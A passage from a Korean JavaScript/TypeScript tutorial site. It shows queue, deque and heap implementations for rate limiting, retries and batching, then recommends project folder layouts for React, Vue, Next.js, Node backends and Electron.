레거시 · 피할 것큰 큐에 shiftStack · Vectorlist.pop(0)비제네릭 QueueLinkedList 남용

같은 "최근 3개만 보관"을 네 언어로

// TypeScript — 표준이 없으니 직접 (SQ 12 의 RecentN)
const recent = new RecentN<string>(3);
recent.add("pay");
# Python — 표준 deque 의 maxlen
from collections import deque
recent = deque(maxlen=3)
recent.append("pay")          # 꽉 차면 반대쪽이 자동으로 밀려남
// Java — ArrayDeque 에 크기 제한은 없어 직접 확인
Deque<String> recent = new ArrayDeque<>();
recent.addLast("pay");
if (recent.size() > 3) recent.removeFirst();
// Rust — VecDeque
let mut recent: VecDeque<&str> = VecDeque::with_capacity(3);
recent.push_back("pay");
if recent.len() > 3 { recent.pop_front(); }

다른 언어에서 온 사람이 JS 에서 놀라는 것

  • 빈 컬렉션에서 꺼내도 예외가 없다 — [].pop() 은 undefined. 파이썬의 IndexError, 자바의 NoSuchElementException 같은 안전망이 없습니다. TS 의 T | undefined 반환 타입이 그 자리를 대신합니다.
  • 정렬 기본값이 문자열 비교 — 숫자 배열도 sort() 하면 사전순입니다.
  • 스레드 안전을 고민할 일이 적다 — 객체는 스레드끼리 공유되지 않으므로 ConcurrentLinkedQueue 류가 필요 없습니다. 대신 await 사이의 끼어들기를 고민해야 합니다(SQ 06).
  • "블로킹 take" 가 없다 — 기다림은 전부 Promise. 메인 스레드를 막는 대기는 금지입니다.
  • Rust 의 BinaryHeap 은 최대 힙, 자바 · 파이썬 · C# 은 최소 힙 — 이 탭의 힙은 comparator 가 방향을 정합니다.
자바 · 코틀린 · 파이썬 가이드에도 같은 "스택 · 큐 · 덱" 탭이 있습니다. 같은 문제를 표준 타입으로 푸는 모습과 나란히 보면 JS 에서 직접 구현하는 부분이 정확히 어디인지 분명해집니다.
정리 — 다른 언어는 표준 타입을 "고르면" 되고, JS 는 만들거나 패키지를 골라야 합니다. 대응표의 JS 열이 이 탭의 클래스들 — Deque · BinaryHeap · Channel · createLimit 입니다.
SQ 12

실무 사례 — 버퍼 · 리미터 · 재시도 · 배치

마지막으로 실제 서비스 코드에서 큐 · 덱 · 힙이 들어가는 자리 다섯 곳입니다. 사례마다 어떤 타입을 왜 고르는지와 돌려 본 결과를 함께 둡니다.

사례고를 타입이유
최근 N 개 로그 · 이벤트고정 크기 링 버퍼 RecentN오래된 것을 덮어써서 메모리가 일정. 배열 + shift 는 매번 O(n)
레이트 리미터시각을 담은 Deque<number>앞에서 만료분 제거 · 뒤에 새 요청 — 양 끝 연산
재시도 · 지연 작업"다음 실행 시각" 최소 힙가장 먼저 도래할 작업만 O(1) 로 확인
로그 · 분석 이벤트 전송배치 버퍼 (배열 교체)"N 개 또는 T 초"마다 한 번에 — 네트워크 호출 수를 줄임
외부 API 대량 호출createLimit · p-limit동시 실행 수 상한 = 상대 서버와 내 커넥션 풀 보호
재시작해도 남아야 하는 작업BullMQ · SQS · Kafka메모리 큐는 프로세스와 함께 사라짐 — NestJS s13 · 대규모 k07
슬라이딩 윈도우 (1초에 3번) — 초록 점 허용 · 붉은 점 거절 0 500 1000 1300 ms 0 · 100 · 200 허용 300 거절 — 창 안에 이미 3개 999 거절 1000 · 1150 · 1250 허용 t = 1000 에서 본 창: (0, 1000] — 0 은 경계라 빠짐 t = 1250 의 창: 300 · 999 는 거절이라 덱에 없음 덱에는 "허용된 시각"만 넣고, 앞에서부터 창 밖으로 나간 것을 버립니다
슬라이딩 윈도우 = 시각을 담은 덱. 앞에서 만료분을 버리고 남은 개수로 판단합니다.

① 최근 N 개 · ② 레이트 리미터 (실행 결과)

import { Deque } from "./deque.ts";

// ① 꽉 차면 가장 오래된 것을 덮어쓰는 링 버퍼
export class RecentN<T> {
  #buf: (T | undefined)[];
  #next = 0;
  #count = 0;
  constructor(n: number) { this.#buf = new Array<T | undefined>(n); }
  add(x: T): void {
    this.#buf[this.#next] = x;
    this.#next = (this.#next + 1) % this.#buf.length;   // n 이 2의 거듭제곱이 아니어도 되게 %
    this.#count = Math.min(this.#count + 1, this.#buf.length);
  }
  toArray(): T[] {                                       // 오래된 것 → 최근 것
    const n = this.#buf.length, start = (this.#next - this.#count + n) % n;
    return Array.from({ length: this.#count }, (_, i) => this.#buf[(start + i) % n] as T);
  }
}
const recent = new RecentN<string>(3);
for (const e of ["login", "view", "cart", "pay", "logout"]) recent.add(e);
console.log(recent.toArray());           // [ 'cart', 'pay', 'logout' ]

// ② 최근 windowMs 안의 허용 시각을 덱에
export class SlidingWindowLimiter {
  #hits = new Deque<number>();
  readonly limit: number;
  readonly windowMs: number;
  constructor(limit: number, windowMs: number) { this.limit = limit; this.windowMs = windowMs; }
  tryAcquire(now = Date.now()): boolean {
    while (!this.#hits.isEmpty() && this.#hits.peekFront()! <= now - this.windowMs) this.#hits.popFront();
    if (this.#hits.size >= this.limit) return false;
    this.#hits.pushBack(now);
    return true;
  }
}
const lim = new SlidingWindowLimiter(3, 1000);   // 1초에 3번
console.log([0, 100, 200, 300, 999, 1000, 1150, 1250]
  .map((t) => `${t}:${lim.tryAcquire(t) ? "O" : "X"}`).join(" "));
// 0:O 100:O 200:O 300:X 999:X 1000:O 1150:O 1250:O
생성자에서 필드를 직접 대입한 이유 — constructor(readonly limit: number) 같은 매개변수 속성은 JS 코드를 만들어 내는 TS 문법이라 Node 24 의 타입 지우기 실행(node file.ts)에서 오류가 납니다. 이 탭의 TS 코드는 전부 타입만 지우면 되는 문법(erasableSyntaxOnly 통과)으로 썼습니다.

③ 재시도 스케줄러 — 최소 힙 + 지수 백오프

import { BinaryHeap } from "./heap.ts";

type Job = { name: string; attempt: number };
type Scheduled = Job & { at: number; seq: number };

export class RetryScheduler {
  #heap = new BinaryHeap<Scheduled>((a, b) => a.at - b.at || a.seq - b.seq);
  #seq = 0;
  schedule(job: Job, at: number) { this.#heap.push({ ...job, at, seq: this.#seq++ }); }

  // now 까지 도래한 작업을 실행, 실패하면 100ms · 2^attempt 뒤로 다시 넣는다
  tick(now: number, run: (j: Job) => boolean, log: string[]) {
    while (this.#heap.size && this.#heap.peek()!.at <= now) {
      const job = this.#heap.pop()!;
      if (run(job)) { log.push(`${now} ${job.name} 성공`); continue; }
      if (job.attempt + 1 >= 4) { log.push(`${now} ${job.name} 포기 → DLQ`); continue; }
      const delay = 100 * 2 ** job.attempt;
      this.schedule({ name: job.name, attempt: job.attempt + 1 }, now + delay);
      log.push(`${now} ${job.name} 실패 → ${now + delay}`);
    }
  }
}

const sch = new RetryScheduler(), log: string[] = [];
sch.schedule({ name: "메일", attempt: 0 }, 0);
sch.schedule({ name: "웹훅", attempt: 0 }, 0);
const flaky = (j: Job) => (j.name === "메일" ? j.attempt >= 2 : false);  // 메일은 세 번째에 성공
for (let now = 0; now <= 1000; now += 100) sch.tick(now, flaky, log);
console.log(log.join("\n"));
// 0 메일 실패 → 100
// 0 웹훅 실패 → 100
// 100 메일 실패 → 300
// 100 웹훅 실패 → 300
// 300 메일 성공
// 300 웹훅 실패 → 700
// 700 웹훅 포기 → DLQ
실제 서비스에서는 tick 을 setTimeout(heap.peek().at - Date.now()) 한 번으로 예약하고, 더 이른 작업이 들어오면 타이머를 다시 겁니다. 백오프에 무작위 지터(예: ±20%)를 섞어야 실패한 작업들이 한꺼번에 몰리지 않습니다. 재시작 후에도 재시도가 남아야 하면 BullMQ 의 지연 작업으로 넘기세요.

④ 이벤트 배치 버퍼 — "N 개 또는 T 초"

export type BatchOptions<T> = { maxSize: number; maxWaitMs: number; flush: (batch: T[]) => Promise<void> };

export class BatchBuffer<T> {
  #items: T[] = [];
  #timer: ReturnType<typeof setTimeout> | null = null;
  #flushing: Promise<void> = Promise.resolve();
  readonly #opts: BatchOptions<T>;
  constructor(opts: BatchOptions<T>) { this.#opts = opts; }

  add(item: T): Promise<void> {
    this.#items.push(item);
    if (this.#items.length >= this.#opts.maxSize) return this.flush();
    this.#timer ??= setTimeout(() => void this.flush(), this.#opts.maxWaitMs);
    return this.#flushing;
  }
  flush(): Promise<void> {
    if (this.#timer) clearTimeout(this.#timer);
    this.#timer = null;
    if (this.#items.length === 0) return this.#flushing;
    const batch = this.#items;     // ★ 배열째 넘기고 새 배열로 교체 (length = 0 금지 — SQ 10)
    this.#items = [];
    // 앞 flush 가 끝난 뒤 보낸다 — 순서 보장, 실패해도 다음 배치는 진행
    this.#flushing = this.#flushing
      .then(() => this.#opts.flush(batch))
      .catch((e) => console.error("flush 실패", e));
    return this.#flushing;
  }
}

const t0 = performance.now();
const buf = new BatchBuffer<string>({
  maxSize: 3,
  maxWaitMs: 200,
  flush: async (b) => console.log(`${String(Math.floor((performance.now() - t0) / 100) * 100).padStart(3)}ms 전송`, b),
});
for (const e of ["a", "b", "c", "d"]) void buf.add(e);   // 3개 차서 즉시 1번, d 는 대기
await new Promise((r) => setTimeout(r, 300));             // 200ms 타이머로 d 전송
void buf.add("e");
await buf.flush();                                        // 종료 직전 — 남은 것 강제 전송
//   0ms 전송 [ 'a', 'b', 'c' ]
// 200ms 전송 [ 'd' ]
// 300ms 전송 [ 'e' ]

⑤ 외부 API 대량 호출 — 동시 4개 · 실패 격리

import { createLimit } from "./limit.ts";

const limit = createLimit(4);                   // 상대 서버가 허용하는 동시 수

async function syncAll(ids: string[], signal: AbortSignal) {
  const results = await Promise.allSettled(
    ids.map((id) =>
      limit(async () => {
        signal.throwIfAborted();                // 취소되면 대기 중이던 것도 시작하지 않음
        const res = await fetch(`https://api.example.com/items/${id}`, { signal });
        if (!res.ok) throw new Error(`${id}: HTTP ${res.status}`);
        return res.json();
      }),
    ),
  );
  const failed = results.filter((r) => r.status === "rejected");
  console.log(`성공 ${results.length - failed.length} · 실패 ${failed.length}`);
  return results;
}
왜 allSettled 인가 — Promise.all 은 하나만 실패해도 즉시 reject 하지만, 이미 limit 큐에 들어간 나머지는 계속 돕니다. 결과를 버리면서 일만 하는 셈이라, 대량 호출은 allSettled 로 전부 받고 실패만 재시도 큐(③)로 넘기는 것이 깔끔합니다.
체크리스트 — 큐에는 상한(무한히 쌓이지 않게) · 배압(가득 차면 생산자를 기다리게) · 종료 처리(남은 것 flush · 독약 · AbortSignal) · 관측(길이 · 대기 시간 지표) 네 가지가 있어야 운영에서 버팁니다.
정리 — 최근 N 개는 링 버퍼, 리미터는 시각 덱, 재시도는 시각 힙, 배치는 배열 교체, 대량 호출은 동시성 제한 큐. 잃으면 안 되는 일만 바깥 큐(BullMQ 등)로 보냅니다.
NODE 24 LTS · TYPESCRIPT · REACT · VUE · NEXT.JS · NEST · ELECTRON · PNPM WORKSPACE · TURBOREPO · 2026 기준

폴더는
규모를 따라
한 칸씩 자란다

자바스크립트에는 Maven 같은 정해진 표준 레이아웃이 없습니다. 그래서 같은 React 앱도 팀마다 폴더가 다르고, 파일이 삼백 개쯤 되면 "그 코드 어디 있어요?"가 하루에 몇 번씩 나옵니다. 이 탭은 React SPA · Vue · Next.js · Node 백엔드 · Electron · 모노레포 · 라이브러리의 권장 구조를 한 장씩 놓고, 언제 다음 단계로 넘어가는지를 비교합니다. 프레임워크별 깊은 내용은 각 탭으로 링크하고, 여기서는 고르는 기준만 다룹니다. tsconfig paths · package.json exports · 프로젝트 참조 · workspace:* 동작은 Node 24.14 · TypeScript 5.7 · pnpm 10.33 으로 직접 돌려 본 결과를 옮겼습니다.

10SECTIONS
10시각화
7프로젝트 유형
1장짜리 요약표
STR 01

공통 바탕 — package.json · tsconfig · src/ 와 규모별 진화

프레임워크가 달라도 바닥은 같습니다. 루트에는 설정, 코드는 src/, 모듈은 ESM, 별칭은 런타임도 아는 방식으로. tsconfig 옵션 하나하나는 🔷 TS 탭 t14 에 있으니, 여기서는 파일이 어디에 놓이고 왜 그런지, 그리고 커지면 어떻게 바뀌는지만 봅니다.

모든 유형의 출발점

my-app/
├─ package.json        # 이름 · 스크립트 · 의존성 · "type": "module"
├─ pnpm-lock.yaml      # 커밋 필수 · 매니저 하나만 (🧰 도구 o01)
├─ tsconfig.json       # 컴파일 옵션 · paths 별칭
├─ eslint.config.js    # 설정 파일은 루트에 평평하게 (STR 09)
├─ .env.example        # 변수 이름만 커밋 — 값은 .env (커밋 금지)
├─ src/                # ★ 손으로 쓰는 코드는 전부 여기
│  └─ main.ts          # 진입점은 하나
├─ public/             # (웹) 가공 없이 복사되는 정적 파일
├─ dist/               # 빌드 산출물 — .gitignore
└─ node_modules/       # .gitignore

규칙 다섯 가지

규칙이유
코드는 src/ 아래만tsconfig include · 린트 · 커버리지가 "src 만 보면 된다"로 단순해집니다
"type": "module"새 프로젝트는 ESM 이 기본입니다 (🟨 JS 탭 j09)
별칭은 하나, 런타임도 알게tsconfig paths 는 타입 검사기만 압니다 — 아래 실험
tsconfig 는 용도별로Vite 템플릿처럼 앱용 · 설정 파일용(node)을 나누고 references 로 묶습니다
private: true배포하지 않을 앱이 실수로 npm 에 올라가는 것을 막습니다

실험 — paths 만 쓰면 실행이 깨집니다

# tsconfig: "paths": { "@/*": ["./src/*"] }  · module NodeNext
$ tsc -p .              # 오류 없음 — 타입 검사기는 별칭을 압니다
$ cat dist/main.js
import { hello } from "@/utils/greet.js";   # ← 별칭이 그대로 남음
$ node dist/main.js
Error [ERR_MODULE_NOT_FOUND]: Cannot find package '@/utils'
  imported from ...\dist\main.js

# package.json 의 "imports" 로 바꾸면 (아래 오른쪽)
$ tsc -p .              # 오류 없음 — TS 가 dist/* 를 src/*.ts 로 되짚음
$ node dist/main.js
hi imports
"개발 서버는 되는데 빌드하면 모듈을 못 찾는다"의 대부분이 이것입니다. 번들러(Vite · Next)를 쓰는 프런트는 번들러가 별칭을 풀어 주므로 paths 로 충분하고, tsc 로 컴파일해 node 로 돌리는 서버는 imports 를 씁니다.

서버 · 스크립트의 별칭 — imports

// package.json — Node 가 직접 이해하는 별칭 (# 으로 시작)
{
  "name": "shop-api",
  "private": true,
  "type": "module",
  "imports": { "#app/*": "./dist/*" }
}
// src/main.ts
// import { hello } from "#app/utils/greet.js";

한 저장소 안 tsconfig 여러 개 — references

# packages/core 는 composite: true, apps/api 가 references 로 참조
$ tsc -p apps/api        # core 를 아직 안 빌드했으면
error TS6305: Output file '.../packages/core/dist/index.d.ts'
  has not been built from source file '.../packages/core/src/index.ts'.
$ tsc -b apps/api        # ★ -b 는 참조를 따라 core → api 순서로 빌드
Projects in this build:
    * packages/core/tsconfig.json
    * apps/api/tsconfig.json
references 는 모노레포에서 빌드가 필요한 패키지에 씁니다. 설정 공유와 함께 🚑 프론트 실무 탭 pf12 에 자세히 있습니다.
프로젝트가 자라는 길 — 위는 구조, 아래는 넘어갈 때의 신호 src/ 하나 파일 30개 · 1~2명 종류별 폴더도 OK 기능별 폴더 화면·API 20개+ · 2~6명 features/ · modules/ 워크스페이스 앱 2개+ · 공유 타입 apps/ + packages/ 저장소 분리 팀·배포 주기가 갈라짐 API 계약으로 연결 1단계 2단계 3단계 4단계 create-vite 그대로 한 폴더 파일 30개+ 스크롤로 찾기 시작 두 번째 앱이 생김 타입을 복붙하기 시작 배포를 서로 기다림 권한을 나눠야 함 대부분의 팀은 여기서 충분합니다 단계를 건너뛰면 비용만 먼저 냅니다 — 신호가 보일 때 한 칸씩
구조는 처음에 정하는 것이 아니라 신호가 올 때 한 칸씩 옮기는 것입니다.
❌ 첫날부터 3단계
shop/
├─ apps/web/            # 앱은 하나뿐인데
├─ packages/ui/         # 버튼 세 개짜리 패키지
├─ packages/utils/      # 함수 다섯 개
└─ turbo.json           # 캐시할 것이 없는 캐시 설정
✅ 지금 크기에 맞게
shop/
└─ src/
   ├─ features/cart/    # 기능별 폴더 (2단계)
   ├─ features/auth/
   └─ shared/ui/        # 두 번째 앱이 생기면
                        # 그때 packages/ui 로 옮깁니다
정리 — 코드는 src/, 설정은 루트, 별칭은 런타임이 아는 방식으로. 구조는 폴더 → 기능 → 워크스페이스 순서로 신호가 올 때만 넘어갑니다.
STR 02

React SPA — 종류별 vs 기능별 vs Feature-Sliced Design

React 는 폴더에 대해 아무 말도 하지 않습니다. 그래서 세 가지 방식이 실무에 공존합니다. 작을 때는 종류별, 커지면 기능별, 팀이 여럿이면 FSD — 각각 어디서 무너지는지를 알면 고르기 쉽습니다.

① 종류별 (by type)

src/
├─ components/   # 화면 조각 전부 — 60개가 한 폴더에
├─ hooks/        # useCart · useAuth · useDebounce …
├─ pages/        # 라우트 화면
├─ api/          # fetch 함수
├─ store/
└─ utils/        # 잡동사니가 쌓이는 곳

② 기능별 (by feature)

src/
├─ app/                 # 라우터 · 프로바이더 · 전역 CSS
├─ features/
│  ├─ cart/
│  │  ├─ CartPanel.tsx
│  │  ├─ useCart.ts
│  │  ├─ cart.api.ts
│  │  └─ index.ts       # ★ 밖에 보여 줄 것만 export
│  └─ auth/
└─ shared/              # 업무를 모르는 것만 (Button · http · 날짜)

③ Feature-Sliced Design (FSD)

src/
├─ app/         # 초기화 · 라우터 · 프로바이더
├─ pages/       # 라우트 하나 = 슬라이스 하나
├─ widgets/     # 헤더 · 상품 목록처럼 큰 화면 조각
├─ features/    # 사용자 행동 — add-to-cart · login
├─ entities/    # 업무 개념 — user · product · cart
└─ shared/      # ui · api · lib · config (업무 모름)

features/add-to-cart/
├─ ui/          # 세그먼트: ui · model · api · lib · config
├─ model/
└─ index.ts     # 공개 API — 밖에서는 이것만 import
FSD 는 공식 문서(feature-sliced.design)가 있는 방법론이라 "우리 팀 규칙"을 따로 쓰지 않아도 됩니다. 예전 문서의 processes 층은 지금은 쓰지 않는 것으로 정리됐습니다.
FSD 여섯 층 — 위층은 아래층만 import 합니다 app 라우터 · 프로바이더 · 전역 스타일 — 앱을 조립 pages 라우트 하나 = 슬라이스 하나 widgets 헤더 · 상품 목록처럼 여러 기능을 묶은 화면 조각 features 사용자 행동 — 장바구니 담기 · 로그인 · 검색 entities 업무 개념 — user · product · cart 의 타입과 카드 shared ui 키트 · http 클라이언트 · 날짜 — 업무를 모름 의존 방향 같은 층끼리도 금지 — features/add-to-cart 가 features/login 을 직접 부르면 위반
FSD 의 전부는 "아래로만, 옆으로는 안 됨" 한 줄입니다 — 옆이 필요하면 위층에서 둘을 조립합니다.
방식맞는 규모무너지는 지점넘어갈 때
종류별화면 10개 안팎 · 1~2명 · 학습 · 프로토타입components/ 에 50개+ · 기능 하나 지우려면 5개 폴더를 뒤짐기능 단위로 PR 이 나기 시작하면
기능별대부분의 사내 SPA · 2~8명shared/ 가 비대해지고 feature 끼리 서로 import팀이 둘 이상 · 경계 다툼이 리뷰마다
FSD여러 팀 · 수명이 긴 제품작은 앱에선 층 고민이 코드보다 오래 걸림— (린터 Steiger 로 강제, STR 10)

기능의 공개 API — index.ts

// src/features/cart/index.ts — 밖에서 써도 되는 것만
export { CartPanel } from "./CartPanel";
export { useCart } from "./useCart";
export type { CartItem } from "./cart.types";
// cart.api.ts · 내부 컴포넌트는 내보내지 않습니다

// 다른 곳에서
import { CartPanel } from "@/features/cart";            // ✅
import { fetchCart } from "@/features/cart/cart.api";   // ❌ 내부 직접 접근

규칙 네 가지

  • 기능 폴더 안은 평평하게 — 파일 10개 넘을 때만 ui/ · model/ 로 나눕니다
  • feature → feature import 금지 — 둘이 필요하면 page(또는 widget)에서 조립
  • shared 는 업무를 모릅니다 — "cart" 라는 단어가 나오면 shared 가 아닙니다
  • index.ts 는 기능마다 하나 — 루트 전체 배럴(src/index.ts)은 순환 참조와 번들 크기 문제를 만듭니다(🟨 j09)
"기능"의 단위가 애매하면 지울 때 같이 지워지는 파일들이 한 기능입니다.
정리 — 작을 때는 종류별로 시작해도 되지만, 화면이 스무 개를 넘으면 features/ 로 묶고 index.ts 로 입구를 하나만 냅니다. 팀이 여럿이면 FSD 의 층 규칙을 빌려 옵니다.
STR 03

Vue 3 앱 — views · composables · stores

Vue 는 공식 템플릿(npm create vue@latest)이 만든 폴더가 사실상 표준입니다. React 의 기능별 원칙이 그대로 적용되고, 이름만 다릅니다. 컴포넌트 나누는 기준과 폴더 예는 💚 Vue 탭 u12, 컴포저블은 u09, Pinia 는 u10 에 있습니다.

기본형 — create-vue 구조 + composables · api

src/
├─ main.ts           # createApp · 플러그인 등록
├─ App.vue
├─ router/index.ts   # 라우트 정의 (views 를 지연 로드)
├─ views/            # 라우트 화면 — URL 하나에 파일 하나
├─ components/       # 재사용 UI · BaseButton.vue 처럼 Base 접두사
├─ composables/      # useXxx() — 상태 있는 로직 재사용
├─ stores/           # Pinia — 스토어 하나 = 업무 개념 하나
├─ api/              # 서버 호출 함수
└─ assets/

커지면 — 기능별 모듈

src/
├─ app/              # main.ts · router · 전역 플러그인
├─ modules/
│  ├─ order/
│  │  ├─ views/OrderListView.vue
│  │  ├─ components/OrderRow.vue
│  │  ├─ composables/useOrderFilter.ts
│  │  ├─ order.store.ts      # defineStore("order", …)
│  │  ├─ order.api.ts
│  │  └─ routes.ts          # 이 기능의 라우트만 → app/router 가 합침
│  └─ member/
└─ shared/           # BaseButton · http · 포맷터
Nuxt 는 components/ · composables/ · pages/ 폴더 이름 자체가 자동 import 와 라우팅 규약입니다(Nuxt 4 는 app/ 아래). 폴더 이름을 바꾸면 기능이 꺼지니 위 구조를 그대로 옮기지 마세요.
같은 자리, 다른 이름 — 층의 높이를 맞춰 놓고 비교합니다 React SPA Vue 3 pages/ — 라우트 화면 views/ — 라우트 화면 hooks/ — useCart() · 커스텀 훅 composables/ — useCart() · ref 반환 상태 — 라이브러리를 골라야 함 stores/ — Pinia 가 공식 components/ · api/ · shared/ components/ · api/ · shared/ 다른 점은 상태 한 층뿐입니다 — 커지면 둘 다 features/ · modules/ 로 묶는 것까지 같습니다
Vue 와 React 의 구조 원칙은 같습니다 — 다른 것은 이름과 상태 관리의 공식 여부뿐입니다.
무엇을어디에왜
라우트 화면views/ 또는 modules/*/views/"URL 하나 = 파일 하나"가 보이면 길을 잃지 않습니다
두 화면이 쓰는 로직composables/useXxx.ts믹스인 대신 — 출처가 보이는 재사용
여러 화면이 쓰는 데이터stores/ 또는 modules/*/x.store.ts컴포넌트 트리와 무관하게 공유 (💚 u10)
한 화면에서만 쓰는 조각그 view 옆 (modules/*/components/)전역 components/ 를 비대하게 만들지 않기
정리 — 작을 때는 create-vue 의 views · components · composables · stores 그대로, 커지면 modules/기능/ 안에 같은 이름의 폴더를 한 벌씩 둡니다.
STR 04

Next.js App Router — app/ 은 라우트만, 코드는 밖으로

Next.js 는 이 탭에서 유일하게 폴더 구조가 곧 기능인 프레임워크입니다. 폴더가 URL 이 되고 파일 이름이 역할이 됩니다(▲ Next.js 탭 f02). 그래서 오히려 app/ 에 모든 것을 넣고 싶어지는데, 커지면 라우트 트리와 업무 코드가 뒤엉킵니다. 공식 문서도 두 방식을 모두 허용하니, 규모로 고르면 됩니다.

권장형 — 라우트는 얇게, 기능은 features/

src/
├─ app/                           # ★ 라우트만 — 조립하는 곳
│  ├─ layout.tsx
│  ├─ (marketing)/                # 라우트 그룹 — URL 에 안 나옴
│  │  ├─ layout.tsx               # 마케팅 전용 레이아웃
│  │  └─ pricing/page.tsx         → /pricing
│  ├─ (app)/dashboard/
│  │  ├─ page.tsx                 → /dashboard
│  │  └─ _components/             # 비공개 폴더 — 라우트 아님
│  └─ api/webhooks/route.ts       → POST /api/webhooks
├─ features/
│  └─ posts/
│     ├─ PostList.tsx             # 서버 컴포넌트 (기본)
│     ├─ LikeButton.tsx           # "use client" — 잎에만
│     ├─ queries.ts               # import "server-only"
│     └─ actions.ts               # "use server"
├─ components/ui/                 # 버튼 · 모달 — 업무 모름
└─ lib/                           # db · auth · env — 서버 전용

폴더 규약 세 가지

표기뜻 · 언제
(group)/URL 에 안 나오는 묶음. 레이아웃을 나눌 때(마케팅 vs 로그인 후 화면)
_folder/라우팅에서 빠지는 비공개 폴더. 그 라우트만 쓰는 조각을 옆에 둘 때
src/src/app 을 지원합니다. 설정 파일(next.config.ts · .env)은 루트에 남습니다
// src/app/(app)/posts/page.tsx — 라우트는 조립만
import { PostList } from "@/features/posts/PostList";
import { getPosts } from "@/features/posts/queries";

export default async function PostsPage() {
  const posts = await getPosts();
  return <PostList posts={posts} />;
}
// src/features/posts/queries.ts
import "server-only";       // 클라이언트 컴포넌트가 import 하면 빌드 실패
import { db } from "@/lib/db";
export const getPosts = () => db.post.findMany({ take: 20 });
src/ 트리 — 화살표는 import 방향입니다. 위로 거슬러 오르지 않습니다 src/ app/ page · layout · route features/ 쿼리 · 액션 · 화면 조각 components/ ui — 업무 모름 lib/ db · auth · env 조립 features 가 ui · lib 를 씁니다 app/ 을 지워도 features/ 는 그대로 남는 구조 — 라우트를 옮기기 쉬워집니다
app/ 은 URL 과 레이아웃의 지도로만 두고, 실제 일은 features/ 가 합니다.
❌ app/ 안에 전부
app/dashboard/page.tsx      # DB 쿼리 · 폼 · 차트가 한 파일
app/dashboard/utils.ts      # 다른 라우트가 여기서 import
app/settings/page.tsx       # → import "../dashboard/utils"
# 라우트를 옮기면 import 가 줄줄이 깨집니다
✅ 경계 파일은 작게
"use client" 는 버튼 · 폼 같은 잎 컴포넌트에만
  → 위에 붙이면 아래 트리 전체가 클라이언트 번들로
서버 전용 모듈 첫 줄에 import "server-only"
  → 비밀이 번들로 새는 사고를 빌드가 막음 (▲ f03)
언제 features/ 로 빼나 — 라우트가 10개 안팎이고 혼자라면 app/ 안에 _components/ 를 두는 공식 "라우트 옆 배치"로 충분합니다. 두 라우트가 같은 조각을 쓰기 시작하면 그때 src/features/ 로 옮기세요.
정리 — app/ 은 page · layout · route 만 두는 라우트 지도, 쿼리 · 액션 · 화면 조각은 src/features/. 클라이언트 경계는 잎으로, 서버 전용은 server-only 로 표시합니다.
STR 05

Node 백엔드 — Express · Hono 는 기능별, NestJS 는 모듈 단위

Express 와 Hono 는 구조를 정해 주지 않고, NestJS 는 모듈이라는 단위를 강제합니다. 결론은 같습니다 — 기능별로 묶고, 기능 안에서 routes → service → repository 로 층을 나눕니다. Express 실무 구조 전체는 🚂 Express 탭 x12, Nest CLI 가 만드는 구조는 🐈 NestJS 탭 s02 에 있습니다.

Express · Hono — 기능 폴더 + 세 층

src/
├─ index.ts               # 런타임 진입점 (serve · listen)
├─ app.ts                 # 미들웨어 · 기능 라우터 연결
├─ modules/
│  ├─ users/
│  │  ├─ users.routes.ts      # HTTP 만 — 검증 후 service 호출
│  │  ├─ users.service.ts     # 업무 규칙 — req · c 를 모름
│  │  ├─ users.repository.ts  # DB 만
│  │  ├─ users.schema.ts      # zod — 요청 · 응답 타입
│  │  └─ users.test.ts
│  └─ orders/
├─ shared/                # 에러 · 미들웨어 · logger · db 클라이언트
└─ config/env.ts          # 부팅 시 환경 변수 검증
// src/app.ts (Hono) — 기능 하나 = 라우터 하나
import { Hono } from "hono";
import { usersRoutes } from "./modules/users/users.routes";
import { ordersRoutes } from "./modules/orders/orders.routes";

export const app = new Hono()
  .route("/users", usersRoutes)
  .route("/orders", ordersRoutes);

NestJS — 모듈이 곧 기능 폴더

src/
├─ main.ts
├─ app.module.ts          # 기능 모듈을 imports 로 조립
├─ users/
│  ├─ users.module.ts     # exports: [UsersService] ← 열 것만
│  ├─ users.controller.ts
│  ├─ users.service.ts
│  └─ dto/create-user.dto.ts
├─ orders/                # imports: [UsersModule]
└─ common/                # 가드 · 필터 · 인터셉터
Nest 모듈의 exports 는 기능의 공개 API 입니다. React 기능 폴더의 index.ts(STR 02)와 같은 역할을 프레임워크가 강제해 줍니다.
방식맞는 때
계층별
controllers/ · services/
엔드포인트 10개 안팎. 기능 하나 고치려면 폴더 셋을 오갑니다
기능별그 이상 전부. 기능을 지우면 폴더 하나가 사라집니다
기능별 + 도메인 층규칙이 service 에 넘칠 때만 (🧬 전문가 탭 d15)
기능별로 나눈 뒤의 진짜 위험 — 기능 사이의 순환 users auth orders payments notify 이벤트로 느슨하게 순환 — Nest 라면 forwardRef 가 필요해지는 상태 사용 순환이 보이면 ① 공통 부분을 새 모듈로 빼거나 ② 한쪽을 이벤트로 바꿉니다 forwardRef 는 해결이 아니라 구조가 꼬였다는 신호입니다
기능별 구조의 숙제는 기능 사이 화살표입니다 — 한 방향으로만 흐르게, 순환은 이벤트로 끊습니다.
❌ service 가 HTTP 를 앎
// users.service.ts
export async function createUser(c: Context) {
  const body = await c.req.json();      // 요청 객체에 묶임
  // → 큐 워커 · 배치 · 테스트에서 재사용 불가
}
✅ 값만 주고받음
// users.service.ts
export async function createUser(input: CreateUser) {
  // 규칙만 — HTTP · 큐 · CLI 어디서든 호출
}
// users.routes.ts 가 c.req 를 풀어 input 으로 넘깁니다
정리 — 백엔드도 기능 폴더 + routes · service · repository 세 층이 기본입니다. Nest 는 모듈 exports 로 경계를 강제하고, 기능 사이 순환은 새 모듈이나 이벤트로 끊습니다.
STR 06

Electron · 데스크톱 — main · preload · renderer 는 폴더가 아니라 보안 경계

Electron 의 폴더 셋은 취향이 아니라 서로 다른 런타임과 권한입니다. 그래서 다른 유형과 달리 폴더 사이의 import 가 원천적으로 막혀야 합니다. 프로세스 구조는 🖥️ Electron 탭 e01, 대규모 앱의 프로세스 격리는 ⚙️ 네이티브 탭 v01 에 있으니 여기서는 폴더 배치만 봅니다.

electron-vite 템플릿 + shared/

my-app/
├─ electron.vite.config.ts    # main · preload · renderer 세 번 빌드
├─ electron-builder.yml       # 패키징
├─ resources/                 # 아이콘 등
└─ src/
   ├─ main/                   # Node 권한 — 창 · 파일 · DB · OS
   │  ├─ index.ts
   │  └─ ipc/                 # 채널별 핸들러 · 입력 검증은 여기서
   ├─ preload/index.ts        # contextBridge — 허용 목록만 노출
   ├─ renderer/               # 브라우저 — React/Vue 앱
   │  └─ src/                 #   (STR 02 · 03 구조 그대로)
   └─ shared/                 # ★ 타입 · 채널 이름 상수만
